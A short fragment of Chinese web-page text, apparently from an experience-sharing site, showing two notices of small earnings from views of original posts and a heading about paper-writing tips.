的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.001 收益
论文写作技巧}